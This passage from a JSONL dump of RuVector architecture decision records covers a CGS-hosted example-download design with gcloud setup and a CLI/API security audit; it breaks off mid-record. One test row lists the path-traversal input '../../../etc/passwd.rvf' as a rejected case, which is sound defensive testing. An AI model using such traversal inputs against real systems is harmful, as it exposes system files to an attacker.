\u2014 ruvllm (v2.5.1, the most mature package) is a separate CLI\n4. **No RVF commands** \u2014 The core file format has no CLI tooling\n5. **No graph commands** \u2014 Hypergraph engine (v2.0.2) invisible to CLI users\n6. **No identity management** \u2014 Pi-Key generation/management only in Rust\n7. **18 WASM crates unpublished** \u2014 Significant WASM capabilities not accessible from JavaScript\n8. **No unified discovery** \u2014 Users can't discover available capabilities from the CLI\n\n## 10. Success Criteria\n\n- [ ] `npx ruvector` lists all available command groups\n- [ ] `npx ruvector brain search \"auth\"` works (ADR-070)\n- [ ] `npx ruvector llm chat` works (ruvllm integration)\n- [ ] `npx ruvector rvf inspect file.rvf` works\n- [ ] `npx ruvector graph query \"MATCH (n) RETURN n\"` works\n- [ ] `npx ruvector edge status` works (ADR-070)\n- [ ] `npx ruvector identity generate` works (ADR-070)\n- [ ] All 18 missing WASM crates published to npm\n- [ ] `npx ruvector install` shows all optional packages with install status\n- [ ] JSON output via `--json` flag on all commands\n- [ ] Version bumped to 0.2.0 with full command hierarchy\n\n## 11. Related ADRs\n\n| ADR | Relationship |\n|-----|-------------|\n| ADR-065 | npm Publishing Strategy \u2014 tier-based publish order, semver, TypeScript requirements |\n| ADR-070 | npx ruvector Unified Integration \u2014 brain, edge, mcp, identity commands (subset of this ADR) |\n| ADR-069 | Edge-Net Integration \u2014 edge-net + brain distributed compute |\n| ADR-059 | Shared Brain Google Cloud \u2014 backend that brain commands call |\n| ADR-066 | SSE MCP Transport \u2014 MCP protocol for mcp commands |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-071-npx-ruvector-ecosystem-gap-analysis.md", "created_at": "2026-03-28T11:58:49.705717+00:00", "content_hash": "8ddf94aa878c35f0bc49464e085bad4374f5541b1a562590fbeefa165df8c4ab"} +{"id": "c65b8855-80ff-4931-b0e9-168bf4ef1275", "source": "adr", "text": "# ADR-072: RVF Example Management and Downloads in npx ruvector\n\n**Status**: Proposed\n**Date**: 2026-02-28\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-070 (npx ruvector Unified Integration), ADR-044 (RVF Format Specification), ADR-065 (npm Publishing Strategy)\n\n## 1. Context\n\nThe RuVector ecosystem currently ships 46 `.rvf` example files in `examples/rvf/output/` totaling ~11 MB. These demonstrate every RVF capability: basic vector stores, HNSW indexes, COW lineage chains, eBPF accelerators, TEE attestation, ZK witnesses, agent memory, MCP-in-RVF, self-booting kernels, and more.\n\nToday these examples are accessed three ways, each with problems:\n\n| Access Method | Problem |\n|---|---|\n| `npx ruvector rvf examples` (CLI) | Lists metadata only. `rvf download` fetches from GitHub raw \u2014 slow, no caching, no versioning, raw.githubusercontent.com has rate limits |\n| `rvf_examples` MCP tool | Returns hardcoded list of 12 examples (out of 46). No download capability |\n| Clone the repo | 800 MB+ clone for 11 MB of examples |\n\nAdditionally:\n- The example catalog is hardcoded in two places (`cli.js` and `mcp-server.js`) and they're out of sync (CLI has 45, MCP has 12)\n- No version pinning \u2014 examples may break with format changes\n- No integrity verification \u2014 downloaded files aren't checksummed\n- No offline cache \u2014 re-downloads every time\n- New examples require a new npm publish to update the catalog\n\n## 2. Decision\n\nHost `.rvf` example files on Google Cloud Storage with a manifest-driven catalog. The CLI and MCP server read a versioned manifest from GCS to discover examples, download files with SHA-256 verification, and cache locally at `~/.ruvector/examples/`. A GitHub Actions workflow syncs examples to GCS on every push to `main`.\n\n## 3. Architecture\n\n### 3.1 GCS Bucket Layout\n\n```\ngs://ruvector-examples/\n \u251c\u2500\u2500 manifest.json \u2190 current catalog (always latest)\n \u251c\u2500\u2500 v0.2.1/\n \u2502 \u251c\u2500\u2500 manifest.json \u2190 pinned catalog for this version\n \u2502 \u251c\u2500\u2500 basic_store.rvf\n \u2502 \u251c\u2500\u2500 semantic_search.rvf\n \u2502 \u251c\u2500\u2500 rag_pipeline.rvf\n \u2502 \u251c\u2500\u2500 ... \u2190 all 46+ examples\n \u2502 \u2514\u2500\u2500 checksums.sha256 \u2190 SHA-256 for every file\n \u251c\u2500\u2500 v0.2.0/\n \u2502 \u251c\u2500\u2500 manifest.json\n \u2502 \u2514\u2500\u2500 ...\n \u2514\u2500\u2500 latest -> v0.2.1/ \u2190 symlink-like redirect\n```\n\n**Public read access** via `allUsers:objectViewer` IAM. No authentication required for downloads.\n\n**Cloud CDN** in front of the bucket for global edge caching. Typical latency: 20-50ms worldwide vs 200-500ms from raw.githubusercontent.com.\n\n### 3.2 Manifest Format\n\n```json\n{\n \"version\": \"0.2.1\",\n \"updated\": \"2026-02-28T12:00:00Z\",\n \"base_url\": \"https://storage.googleapis.com/ruvector-examples/v0.2.1\",\n \"total_size\": \"11.2 MB\",\n \"examples\": [\n {\n \"name\": \"basic_store\",\n \"file\": \"basic_store.rvf\",\n \"size\": 155648,\n \"size_human\": \"152 KB\",\n \"sha256\": \"a1b2c3d4...\",\n \"description\": \"1,000 vectors, dim 128, cosine metric\",\n \"category\": \"core\",\n \"tags\": [\"vectors\", \"cosine\", \"basic\"],\n \"rvf_version\": \"1.0\",\n \"segments\": [\"VEC\", \"META\", \"MANIFEST\"],\n \"created\": \"2026-02-15\"\n }\n ],\n \"categories\": {\n \"core\": \"Basic vector storage and search\",\n \"ai\": \"AI agent, embedding, and RAG examples\",\n \"security\": \"Attestation, ZK proofs, access control\",\n \"compute\": \"eBPF, WASM, self-booting, kernels\",\n \"lineage\": \"COW chains, derivation, reasoning\",\n \"industry\": \"Finance, medical, legal domain examples\",\n \"network\": \"Sync, handoff, distributed examples\",\n \"integration\": \"MCP, PostgreSQL, serverless bridges\"\n }\n}\n```\n\n### 3.3 Local Cache\n\n```\n~/.ruvector/\n \u2514\u2500\u2500 examples/\n \u251c\u2500\u2500 manifest.json \u2190 cached manifest (TTL: 1 hour)\n \u251c\u2500\u2500 basic_store.rvf \u2190 downloaded example\n \u251c\u2500\u2500 semantic_search.rvf\n \u2514\u2500\u2500 .cache-meta.json \u2190 cache timestamps + checksums\n```\n\nCache behavior:\n- **Manifest TTL**: 1 hour. After that, fetch fresh manifest on next `examples` or `download` command\n- **File cache**: Permanent until `rvf cache clear` or version change\n- **Integrity**: SHA-256 verified on every download. Cached files re-verified on access if `--verify` flag used\n- **Disk budget**: Default 100 MB. Oldest files evicted when budget exceeded. Configurable via `~/.ruvector/config.json`\n\n### 3.4 CLI Commands\n\n```\nnpx ruvector rvf examples # List all examples (from cached manifest)\nnpx ruvector rvf examples --category security # Filter by category\nnpx ruvector rvf examples --refresh # Force manifest refresh\nnpx ruvector rvf download basic_store # Download one example (cached)\nnpx ruvector rvf download --all # Download all examples (~11 MB)\nnpx ruvector rvf download --category ai # Download all AI examples\nnpx ruvector rvf download --verify # Re-verify cached files\nnpx ruvector rvf cache status # Show cache size, file count\nnpx ruvector rvf cache clear # Clear local cache\n```\n\n### 3.5 MCP Tool Updates\n\nThe `rvf_examples` MCP tool reads from the same manifest:\n\n```json\n{\n \"name\": \"rvf_examples\",\n \"description\": \"List and download RVF example files from the ruvector catalog\",\n \"inputSchema\": {\n \"type\": \"object\",\n \"properties\": {\n \"filter\": { \"type\": \"string\", \"description\": \"Filter by name or description\" },\n \"category\": { \"type\": \"string\", \"description\": \"Filter by category\" },\n \"download\": { \"type\": \"string\", \"description\": \"Download a specific example by name\" }\n }\n }\n}\n```\n\nWhen `download` is specified, the tool downloads the file to the current working directory and returns the local path. This allows Claude Code to directly work with `.rvf` files.\n\n### 3.6 Sync Pipeline (GitHub Actions)\n\n```yaml\n# .github/workflows/sync-rvf-examples.yml\nname: Sync RVF Examples to GCS\non:\n push:\n branches: [main]\n paths:\n - 'examples/rvf/output/**'\n - 'examples/rvf/generate_examples.rs'\n\njobs:\n sync:\n runs-on: ubuntu-latest\n permissions:\n id-token: write # Workload Identity Federation\n steps:\n - uses: actions/checkout@v4\n\n - name: Authenticate to GCP\n uses: google-github-actions/auth@v2\n with:\n workload_identity_provider: ${{ secrets.WIF_PROVIDER }}\n service_account: ${{ secrets.GCS_SA }}\n\n - name: Generate manifest\n run: |\n python3 scripts/generate-rvf-manifest.py \\\n --input examples/rvf/output/ \\\n --version $(jq -r .version npm/packages/ruvector/package.json) \\\n --output manifest.json\n\n - name: Sync to GCS\n uses: google-github-actions/upload-cloud-storage@v2\n with:\n path: examples/rvf/output/\n destination: ruvector-examples/v${{ env.VERSION }}/\n gzip: false # .rvf files are already compact\n\n - name: Upload manifest\n uses: google-github-actions/upload-cloud-storage@v2\n with:\n path: manifest.json\n destination: ruvector-examples/v${{ env.VERSION }}/manifest.json\n\n - name: Update latest manifest\n run: |\n gsutil cp gs://ruvector-examples/v${{ env.VERSION }}/manifest.json \\\n gs://ruvector-examples/manifest.json\n```\n\n### 3.7 Manifest Generator Script\n\n```python\n# scripts/generate-rvf-manifest.py\n# Scans examples/rvf/output/, computes SHA-256, extracts RVF segment info,\n# categorizes by naming convention, produces manifest.json\n```\n\nCategories are derived from the example name or explicit `category` field in a sidecar `.meta.json` file if present:\n\n| Pattern | Category |\n|---|---|\n| `basic_store`, `semantic_search`, `filtered_search`, `quantization` | core |\n| `agent_*`, `rag_*`, `embedding_*`, `ruvllm_*`, `ruvbot` | ai |\n| `tee_*`, `zero_knowledge`, `access_control`, `sealed_engine` | security |\n| `self_booting`, `ebpf_*`, `browser_wasm`, `linux_microkernel` | compute |\n| `lineage_*`, `reasoning_*` | lineage |\n| `financial_*`, `medical_*`, `legal_*` | industry |\n| `network_*`, `agent_handoff_*` | network |\n| `mcp_*`, `postgres_*`, `serverless`, `claude_code_*` | integration |\n\n## 4. Fallback Strategy\n\nIf GCS is unreachable:\n1. **Cached manifest**: Use `~/.ruvector/examples/manifest.json` if within TTL\n2. **Stale manifest**: Use expired cached manifest with warning\n3. **Hardcoded fallback**: Built-in minimal catalog (top 12 most popular examples) with GitHub raw URLs\n4. **Offline mode**: `--offline` flag uses only cached files, no network\n\n```\nDownload priority:\n 1. Local cache (~/.ruvector/examples/) \u2190 0ms, SHA-256 verified\n 2. GCS via Cloud CDN \u2190 20-50ms global\n 3. GCS direct \u2190 50-200ms\n 4. GitHub raw (fallback) \u2190 200-500ms, rate limited\n```\n\n## 5. Security\n\n### 5.1 Integrity Verification\n\nEvery downloaded `.rvf` file is verified against the SHA-256 in the manifest before being cached or returned to the user. This prevents:\n- **CDN poisoning**: Tampered files at the edge are detected\n- **MITM attacks**: Even over HTTPS, defense-in-depth with content hashes\n- **Cache corruption**: Local disk corruption caught on re-verify\n\n### 5.2 Manifest Signing (Future)\n\nPhase 2 will add Ed25519 signing of manifests:\n```json\n{\n \"version\": \"0.2.1\",\n \"examples\": [...],\n \"signature\": \"base64(Ed25519(manifest_without_signature))\",\n \"signer\": \"ruvector-release-key-001\"\n}\n```\nThe CLI will verify manifests against a pinned public key shipped in the npm package.\n\n### 5.3 Path Safety\n\nDownload destination paths are validated to prevent directory traversal:\n- `path.basename()` strips parent directory references\n- Regex allows only `[a-zA-Z0-9_\\-.]` characters in filenames\n- Final path must resolve within the output directory\n- These checks already exist in the current `rvf download` implementation\n\n### 5.4 GCS Access Control\n\n- Bucket: `allUsers:objectViewer` (public read)\n- Write: Only the CI/CD service account via Workload Identity Federation\n- No API keys or credentials shipped in the npm package\n- Cloud Armor WAF rules for DDoS protection on CDN ingress\n\n## 6. Implementation\n\n### 6.1 File Changes\n\n| File | Change |\n|---|---|\n| `npm/packages/ruvector/bin/cli.js` | Update `rvf examples` to fetch manifest from GCS. Update `rvf download` to use GCS URLs + SHA-256 verify + cache. Add `rvf cache` subcommand |\n| `npm/packages/ruvector/bin/mcp-server.js` | Update `rvf_examples` handler to read manifest. Add download capability |\n| `npm/packages/ruvector/src/rvf-catalog.ts` | Shared manifest fetcher, cache manager, integrity verifier |\n| `scripts/generate-rvf-manifest.py` | Manifest generator from local examples |\n| `.github/workflows/sync-rvf-examples.yml` | CI/CD sync pipeline |\n\n### 6.2 Single Source of Truth\n\nThe `RVF_EXAMPLES` array currently hardcoded in `cli.js` (45 entries) and `mcp-server.js` (12 entries) is replaced by a shared manifest. Both read from:\n\n```javascript\nasync function getRvfCatalog(opts = {}) {\n const cacheDir = path.join(os.homedir(), '.ruvector', 'examples');\n const manifestPath = path.join(cacheDir, 'manifest.json');\n\n // Check cache\n if (!opts.refresh && fs.existsSync(manifestPath)) {\n const stat = fs.statSync(manifestPath);\n const age = Date.now() - stat.mtimeMs;\n if (age < 3600000) { // 1 hour TTL\n return JSON.parse(fs.readFileSync(manifestPath, 'utf8'));\n }\n }\n\n // Fetch from GCS\n const GCS_URL = 'https://storage.googleapis.com/ruvector-examples/manifest.json';\n try {\n const resp = await fetch(GCS_URL);\n const manifest = await resp.json();\n fs.mkdirSync(cacheDir, { recursive: true });\n fs.writeFileSync(manifestPath, JSON.stringify(manifest, null, 2));\n return manifest;\n } catch {\n // Fallback to cached (even if stale)\n if (fs.existsSync(manifestPath)) {\n return JSON.parse(fs.readFileSync(manifestPath, 'utf8'));\n }\n // Final fallback: hardcoded minimal catalog\n return BUILTIN_CATALOG;\n }\n}\n```\n\n## 7. GCS Setup\n\n### 7.1 Bucket Creation\n\n```bash\n# Create bucket with Standard storage (frequently accessed)\ngcloud storage buckets create gs://ruvector-examples \\\n --location=us-central1 \\\n --uniform-bucket-level-access \\\n --public-access-prevention=inherited\n\n# Enable public read\ngcloud storage buckets add-iam-policy-binding gs://ruvector-examples \\\n --member=allUsers \\\n --role=roles/storage.objectViewer\n\n# Enable Cloud CDN (via load balancer backend bucket)\ngcloud compute backend-buckets create ruvector-examples-backend \\\n --gcs-bucket-name=ruvector-examples \\\n --enable-cdn \\\n --cache-mode=CACHE_ALL_STATIC \\\n --default-ttl=3600\n```\n\n### 7.2 CI/CD Service Account\n\n```bash\ngcloud iam service-accounts create rvf-examples-sync \\\n --display-name=\"RVF Examples Sync\"\n\ngcloud storage buckets add-iam-policy-binding gs://ruvector-examples \\\n --member=serviceAccount:rvf-examples-sync@PROJECT.iam.gserviceaccount.com \\\n --role=roles/storage.objectAdmin\n\n# Workload Identity Federation for GitHub Actions (no key file)\ngcloud iam workload-identity-pools create github-pool \\\n --location=global\ngcloud iam workload-identity-pools providers create-oidc github-provider \\\n --location=global \\\n --workload-identity-pool=github-pool \\\n --issuer-uri=https://token.actions.githubusercontent.com \\\n --attribute-mapping=\"google.subject=assertion.sub\"\n```\n\n### 7.3 Cost Estimate\n\n| Resource | Monthly Cost |\n|---|---|\n| GCS Standard (50 MB, 46 files x ~5 versions) | ~$0.01 |\n| Cloud CDN egress (1 GB/month estimate) | ~$0.08 |\n| Cloud CDN requests (10K/month estimate) | ~$0.01 |\n| **Total** | **~$0.10/month** |\n\n## 8. Example Categories and Counts\n\n| Category | Count | Total Size | Description |\n|---|---|---|---|\n| core | 8 | ~5.1 MB | Basic stores, HNSW, quantization, filtering |\n| ai | 8 | ~1.2 MB | Agent memory, RAG, embeddings, chatbot |\n| security | 4 | ~439 KB | TEE, ZK, access control, sealed engine |\n| compute | 4 | ~213 KB | eBPF, WASM, self-boot, microkernel |\n| lineage | 5 | ~102 KB | COW chains, reasoning chains |\n| industry | 3 | ~1.4 MB | Finance, medical, legal |\n| network | 4 | ~146 KB | Sync, handoff, telemetry |\n| integration | 6 | ~862 KB | MCP, PostgreSQL, serverless, Claude Code |\n| **Total** | **46** | **~11.2 MB** | |\n\n## 9. Migration Path\n\n### Phase 1: GCS Setup + Sync (1 day)\n- Create GCS bucket with public read\n- Write `scripts/generate-rvf-manifest.py`\n- Upload current 46 examples + manifest\n- Create GitHub Actions workflow\n\n### Phase 2: CLI Update (1 day)\n- Replace hardcoded `RVF_EXAMPLES` with manifest fetcher\n- Add SHA-256 integrity verification to downloads\n- Add local cache at `~/.ruvector/examples/`\n- Add `rvf cache status` and `rvf cache clear` subcommands\n- Add `--category`, `--refresh`, `--offline`, `--verify` flags\n\n### Phase 3: MCP Update (half day)\n- Update `rvf_examples` handler to read from manifest\n- Add `download` parameter to MCP tool\n- Unify catalog between CLI and MCP (single code path)\n\n### Phase 4: CDN + Monitoring (half day)\n- Enable Cloud CDN via backend bucket\n- Set up monitoring alerts for download errors\n- Add analytics (download counts per example)\n\n## 10. Testing\n\n| Test | Description |\n|---|---|\n| Manifest fetch from GCS | Returns valid JSON with all 46 examples |\n| Manifest cache TTL | Second fetch within 1 hour uses cache |\n| Manifest refresh | `--refresh` bypasses cache |\n| Download + SHA-256 verify | Downloaded file matches checksum |\n| Cache hit | Second download of same file is instant |\n| Offline mode | `--offline` uses only cached files |\n| GCS unreachable | Falls back to cached manifest, then hardcoded catalog |\n| Tampered file | SHA-256 mismatch detected and reported |\n| Path traversal | `../../../etc/passwd.rvf` rejected |\n| Category filter | `--category security` returns only 4 examples |\n| Disk budget | Cache evicts oldest files when >100 MB |\n| CI/CD sync | Push to `examples/rvf/output/` triggers GCS upload |\n| Manifest generator | Produces valid manifest with correct checksums |\n| MCP download | `rvf_examples` with `download` param returns local path |\n\n## 11. Consequences\n\n### Positive\n- **Single source of truth**: Manifest replaces 2 hardcoded catalogs\n- **Fast global downloads**: Cloud CDN edge caching (20-50ms vs 200-500ms)\n- **Integrity**: SHA-256 verification on every download\n- **Offline support**: Local cache + `--offline` flag\n- **Auto-sync**: New examples available without npm republish\n- **Cheap**: ~$0.10/month for storage + CDN\n- **Version pinning**: Each ruvector version maps to a pinned manifest\n\n### Negative\n- **GCS dependency**: New infrastructure to maintain (mitigated by GitHub raw fallback)\n- **Cache management**: Users accumulate cached files (mitigated by disk budget + clear command)\n- **Manifest staleness**: 1-hour TTL means new examples take up to 1 hour to appear\n\n### Neutral\n- Existing `rvf download` command retains same UX, just faster and verified\n- `rvf_examples` MCP tool gains download capability\n- GitHub raw URLs continue to work as fallback\n\n## 12. Related ADRs\n\n| ADR | Relationship |\n|---|---|\n| ADR-044 | RVF Format Specification \u2014 defines the `.rvf` binary format these examples demonstrate |\n| ADR-059 | Shared Brain Google Cloud \u2014 same GCP project, similar GCS patterns |\n| ADR-065 | npm Publishing Strategy \u2014 example catalog decoupled from npm publish cycle |\n| ADR-070 | npx ruvector Unified Integration \u2014 `rvf` command group that hosts these commands |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-072-rvf-example-management-downloads.md", "created_at": "2026-03-28T11:58:49.705875+00:00", "content_hash": "bfda10425ab50b5b56a4fab3d7ea48d3ebcb1e753499f1fa6a4bd5b76839a000"} +{"id": "47a964f7-0c49-4231-a56d-83ca4535f016", "source": "adr", "text": "# ADR-073: \u03c0.ruv.io Platform Security Audit & Optimization\n\n**Status**: Accepted\n**Date**: 2026-03-01\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Related**: ADR-070 (npx ruvector Unified Integration), ADR-064 (Pi Brain Infrastructure), ADR-066 (SSE MCP Transport), ADR-058 (Hash Security Optimization)\n\n## 1. Context\n\nA comprehensive deep review of the `ruvector` npm package (v0.2.2) \u2014 the unified CLI, MCP server, and SDK for the \u03c0.ruv.io collective intelligence platform \u2014 was performed. The review tested all 48 CLI commands across 12 command groups and 91 MCP tools using a live PI key against the production \u03c0.ruv.io endpoint.\n\nThe audit revealed security vulnerabilities, error handling gaps, and UX friction points that needed immediate remediation before the v0.2.3 release.\n\n### Test Environment\n\n| Component | Value |\n|-----------|-------|\n| Package | `ruvector@0.2.2` |\n| Node.js | \u226518.0.0 |\n| CLI Commands | 48 across 12 groups |\n| MCP Tools | 91 across 12 categories |\n| Endpoint | `https://pi.ruv.io` |\n| Transport | stdio + SSE dual-mode |\n\n### Test Results Summary\n\n| Metric | Value |\n|--------|-------|\n| Unit tests | 55/55 pass |\n| CLI commands tested | 36 |\n| Commands passing | 27/36 (75%) |\n| CLI startup time | 54.6ms avg |\n| MCP server init | 246ms |\n\n## 2. Decision\n\nFix all HIGH and MEDIUM severity issues found during the audit, publish v0.2.3 with security patches, and document the findings for future reference.\n\n## 3. Findings & Remediations\n\n### 3.1 HIGH: PI Key Exposed in URL Path (FIXED)\n\n**Issue**: The `edge balance` command placed the raw PI key directly in the URL path:\n```javascript\n// BEFORE (vulnerable)\nconst resp = await fetch(`${EDGE_GENESIS}/balance/${piKey}`, ...);\n```\n\nThis is a critical security violation \u2014 URL paths are logged by proxies, CDNs, web servers, and browser history. A 64-character hex PI key in the path leaks the user's identity and authentication credential.\n\n**Fix**: Derive a SHAKE-256 pseudonym from the PI key and use that in the URL. The raw key is sent only in the `Authorization` header (which is not logged by standard infrastructure):\n\n```javascript\n// AFTER (secure)\nconst pseudonym = require('crypto')\n .createHash('shake256', { outputLength: 16 })\n .update(piKey)\n .digest('hex');\nconst resp = await fetch(`${EDGE_GENESIS}/balance/${pseudonym}`, {\n headers: { 'Authorization': `Bearer ${piKey}` }\n});\n```\n\n**Files modified**: `bin/cli.js`, `bin/mcp-server.js`\n\n**Rationale**: SHAKE-256 is the same hash function used throughout the RVF wire format (ADR-058). The 16-byte (32-hex-char) pseudonym is sufficient for routing without revealing the key. The Authorization header is the standard HTTP mechanism for bearer tokens and is stripped by well-configured reverse proxies before logging.\n\n### 3.2 HIGH: SONA Status Native Binding Crash (NOTED)\n\n**Issue**: `npx ruvector sona status` crashes with `Module not found` when `@ruvector/sona` native bindings aren't installed. The SONA package has optional native acceleration via N-API that requires platform-specific compilation.\n\n**Status**: Not fixed in this release \u2014 the crash is in the `@ruvector/sona` package itself, not in the `ruvector` CLI. The CLI already lazy-loads SONA and catches import errors for the top-level module, but internal native binding failures propagate.\n\n**Mitigation**: Future `@ruvector/sona` release should wrap native binding calls in try-catch with WASM fallback.\n\n### 3.3 MEDIUM: Edge Genesis 404 Crash (FIXED)\n\n**Issue**: Edge network commands (`edge genesis`, `edge balance`) crashed when the backend returned non-JSON error responses (404, 502, etc.):\n\n```\nSyntaxError: Unexpected token 'N', \"Not Found\" is not valid JSON\n```\n\nThe code called `resp.json()` without checking `resp.ok` first.\n\n**Fix**: Added response status check before JSON parsing in both CLI and MCP server:\n\n```javascript\nif (!resp.ok) {\n const errText = await resp.text().catch(() => resp.statusText);\n console.error(chalk.red(`Edge network returned ${resp.status} ${resp.statusText}`));\n process.exit(1);\n}\n```\n\n**Files modified**: `bin/cli.js`, `bin/mcp-server.js`\n\n### 3.4 MEDIUM: `hooks remember` Required `-t` Flag (FIXED)\n\n**Issue**: `npx ruvector hooks remember -v \"some value\"` failed with `error: required option '-t, --type <type>' not specified`. For a convenience command, requiring the type flag on every invocation is excessive UX friction.\n\n**Fix**: Changed from `requiredOption` to `option` with a default value of `'general'`:\n\n```javascript\n// BEFORE\n.requiredOption('-t, --type <type>', 'Memory type')\n// AFTER\n.option('-t, --type <type>', 'Memory type', 'general')\n```\n\n**Files modified**: `bin/cli.js`\n\n### 3.5 MEDIUM: `@ruvector/pi-brain` Not Installed (NOTED)\n\n**Issue**: Brain commands fail when `@ruvector/pi-brain` is not installed. It's declared as an optional `peerDependency` in `package.json`, but the error message isn't user-friendly.\n\n**Status**: Working as designed \u2014 pi-brain is an optional peer dependency. The lazy-load pattern already provides a clear error: `\"Install @ruvector/pi-brain for brain commands\"`. Users who want brain features install it separately.\n\n### 3.6 LOW: CLI Monolith Size (NOTED)\n\n**Issue**: `bin/cli.js` is 8,582 lines \u2014 a large single file. While it works correctly and loads fast (54.6ms), it makes maintenance harder.\n\n**Status**: Deferred. The file loads fast due to lazy-loading of heavy dependencies (GNN, attention, ora). Splitting would add complexity without performance benefit. If the file exceeds 10,000 lines, consider splitting by command group.\n\n### 3.7 LOW: `hooks recall` Non-Semantic Search (NOTED)\n\n**Issue**: `hooks recall --query` uses exact string matching (`includes()`) rather than semantic/fuzzy search. This limits discovery of related memories.\n\n**Status**: Deferred. Semantic search would require loading SONA embeddings for every recall, adding ~200ms latency. The current approach is fast and predictable.\n\n## 4. Performance Benchmarks\n\n### CLI Startup\n\n| Run | Time (ms) |\n|-----|-----------|\n| 1 | 56 |\n| 2 | 54 |\n| 3 | 53 |\n| 4 | 55 |\n| 5 | 55 |\n| **Avg** | **54.6** |\n\nFast startup is achieved through lazy-loading: heavy modules (GNN, attention, SONA, ora) are only `require()`'d when their commands are invoked.\n\n### MCP Server\n\n| Metric | Value |\n|--------|-------|\n| Init time | 246ms |\n| Tools registered | 91 |\n| SSE health response | <10ms |\n| stdio JSON-RPC | Content-Length framed |\n\n### Command Groups (12)\n\n| Group | Commands | Status |\n|-------|----------|--------|\n| core | 7 | All pass |\n| brain | 6 | Pass (requires @ruvector/pi-brain) |\n| edge | 5 | Pass (with 404 fix) |\n| identity | 3 | All pass |\n| sona | 4 | 3/4 (native binding issue) |\n| hooks | 4 | All pass (with default fix) |\n| mcp | 3 | All pass |\n| gnn | 4 | All pass |\n| attention | 3 | All pass |\n| rvf | 3 | All pass |\n| solver | 3 | All pass |\n| parallel | 3 | All pass |\n\n## 5. Security Architecture\n\n### PI Key Derivation Chain\n\nA single 64-hex PI key derives all identity components:\n\n```\nPI Key (64 hex chars)\n \u251c\u2500\u2500 SHAKE-256(key, 16 bytes) \u2192 Pseudonym (32 hex chars)\n \u2502 \u2514\u2500\u2500 Used in: URL paths, public identifiers\n \u251c\u2500\u2500 HMAC-SHA256(key, \"mcp-auth\") \u2192 MCP Token\n \u2502 \u2514\u2500\u2500 Used in: MCP server authentication\n \u2514\u2500\u2500 SHA-512(key) \u2192 first 32 bytes \u2192 Ed25519 Seed\n \u2514\u2500\u2500 Used in: Edge network identity, signing\n```\n\n### Security Principles Applied\n\n1. **Never expose keys in URLs** \u2014 use derived pseudonyms (SHAKE-256)\n2. **Constant-time comparison** \u2014 `subtle::ConstantTimeEq` for wire hash verification\n3. **Lazy credential loading** \u2014 PI key read from env/file only when needed\n4. **AES-256-GCM** for key export with password-derived encryption\n5. **No credential logging** \u2014 CLAUDE.md explicitly forbids echoing/printing credentials\n\n## 6. Server API Deep Review (27 Endpoints)\n\nA comprehensive validation of all 27 REST endpoints on the live \u03c0.ruv.io backend was performed.\n\n### Endpoint Test Results\n\n| # | Endpoint | Method | Status | Verdict |\n|---|----------|--------|--------|---------|\n| 1 | `/v1/health` | GET | 200 | Pass \u2014 returns uptime, version, persistence mode |\n| 2 | `/v1/challenge` | GET | 200 | Pass \u2014 issues UUID nonce with 5-min TTL |\n| 3 | `/v1/memories` | POST | 201 | Pass \u2014 creates memory with Firestore write-through |\n| 4 | `/v1/memories/search` | GET | 200 | Pass \u2014 SHAKE-256 hash-based embedding + attention ranking |\n| 5 | `/v1/memories/list` | GET | 200 | Pass \u2014 paginated listing |\n| 6 | `/v1/memories/{id}` | GET | 200 | Pass \u2014 full BrainMemory with provenance |\n| 7 | `/v1/memories/{id}/vote` | POST | 200/403 | Pass \u2014 self-vote blocked, Bayesian BetaParams updated |\n| 8 | `/v1/memories/{id}` | DELETE | 204 | Pass \u2014 contributor-scoped deletion |\n| 9 | `/v1/transfer` | POST | 200 | Pass \u2014 returns acceleration_factor, transfer_success |\n| 10 | `/v1/drift` | GET | 200 | Pass \u2014 VectorDelta CV computation |\n| 11 | `/v1/partition` | GET | 200 | Pass \u2014 MinCut clusters (data-dependent) |\n| 12 | `/v1/status` | GET | 200 | Pass \u2014 comprehensive stats |\n| 13 | `/v1/lora/latest` | GET | 200 | Pass \u2014 consensus weights (null until 3 submissions) |\n| 14 | `/v1/lora/submit` | POST | 200 | Pass \u2014 validates shape (rank=2, hidden_dim=128) |\n| 15 | `/v1/training/preferences` | GET | 200 | Pass \u2014 vote preference pairs for RLHF |\n| 16 | `/v1/pages` | POST | 201/403 | Pass \u2014 reputation-gated page creation |\n| 17 | `/v1/pages/{id}` | GET | 200/404 | Pass |\n| 18 | `/v1/pages/{id}/deltas` | POST | 200/400 | Pass \u2014 validates evidence link requirements |\n| 19 | `/v1/pages/{id}/deltas` | GET | 200 | Pass |\n| 20 | `/v1/pages/{id}/evidence` | POST | 200/400 | Pass \u2014 validates evidence type enum |\n| 21 | `/v1/pages/{id}/promote` | POST | 200/403 | Pass \u2014 quality threshold gate |\n| 22 | `/v1/nodes` | GET | 200 | Pass \u2014 lists non-revoked WASM nodes |\n| 23 | `/v1/nodes` | POST | 201/403 | Pass \u2014 reputation-gated node publishing |\n| 24 | `/v1/nodes/{id}` | GET | 200/404/410 | Pass \u2014 410 Gone for revoked nodes |\n| 25 | `/v1/nodes/{id}/wasm` | GET | 200/404 | Pass \u2014 binary download with immutable cache |\n| 26 | `/v1/nodes/{id}/revoke` | POST | 200/404 | Pass \u2014 contributor-scoped revocation |\n| 27 | `/` + `/origin` + `/sse` | GET | 200 | Pass \u2014 landing page, origin story, SSE transport |\n\n### Issues Found & Fixed\n\n| Severity | Issue | Fix |\n|----------|-------|-----|\n| **HIGH** | Reputation never updated on share/vote \u2014 `ReputationManager` wired for reads only | Added `record_contribution()` on share, `update_reputation_from_vote()` on vote, `check_poisoning()` on downvotes |\n| **HIGH** | `contribution_count` never incremented | Now incremented in `record_contribution()` with Firestore write-through |\n| **MEDIUM** | Seed contributor stuck at cold-start 0.1 composite | Fixed \u2014 contributions now build reputation via EMA uptime + accuracy updates |\n| **MEDIUM** | LoRA submit schema undocumented | Requires `LoraSubmission { down_proj, up_proj, rank, hidden_dim, evidence_count }` with rank=2, hidden_dim=128 |\n| **LOW** | Evidence type `code_reference` in docs doesn't exist | Only supports: `test_pass`, `build_success`, `metric_improval`, `peer_review` |\n\n### Feature Implementation Status\n\n| Feature | Status | Notes |\n|---------|--------|-------|\n| Memory CRUD | Fully implemented | Firestore write-through, graph sync, drift recording |\n| Voting + Quality | Fully implemented | Bayesian BetaParams, self-vote block, duplicate block, preference pairs |\n| Reputation System | **Fixed** \u2014 now fully wired | EMA accuracy, uptime decay, poisoning penalty, contribution counting |\n| Transfer Learning | Fully implemented | 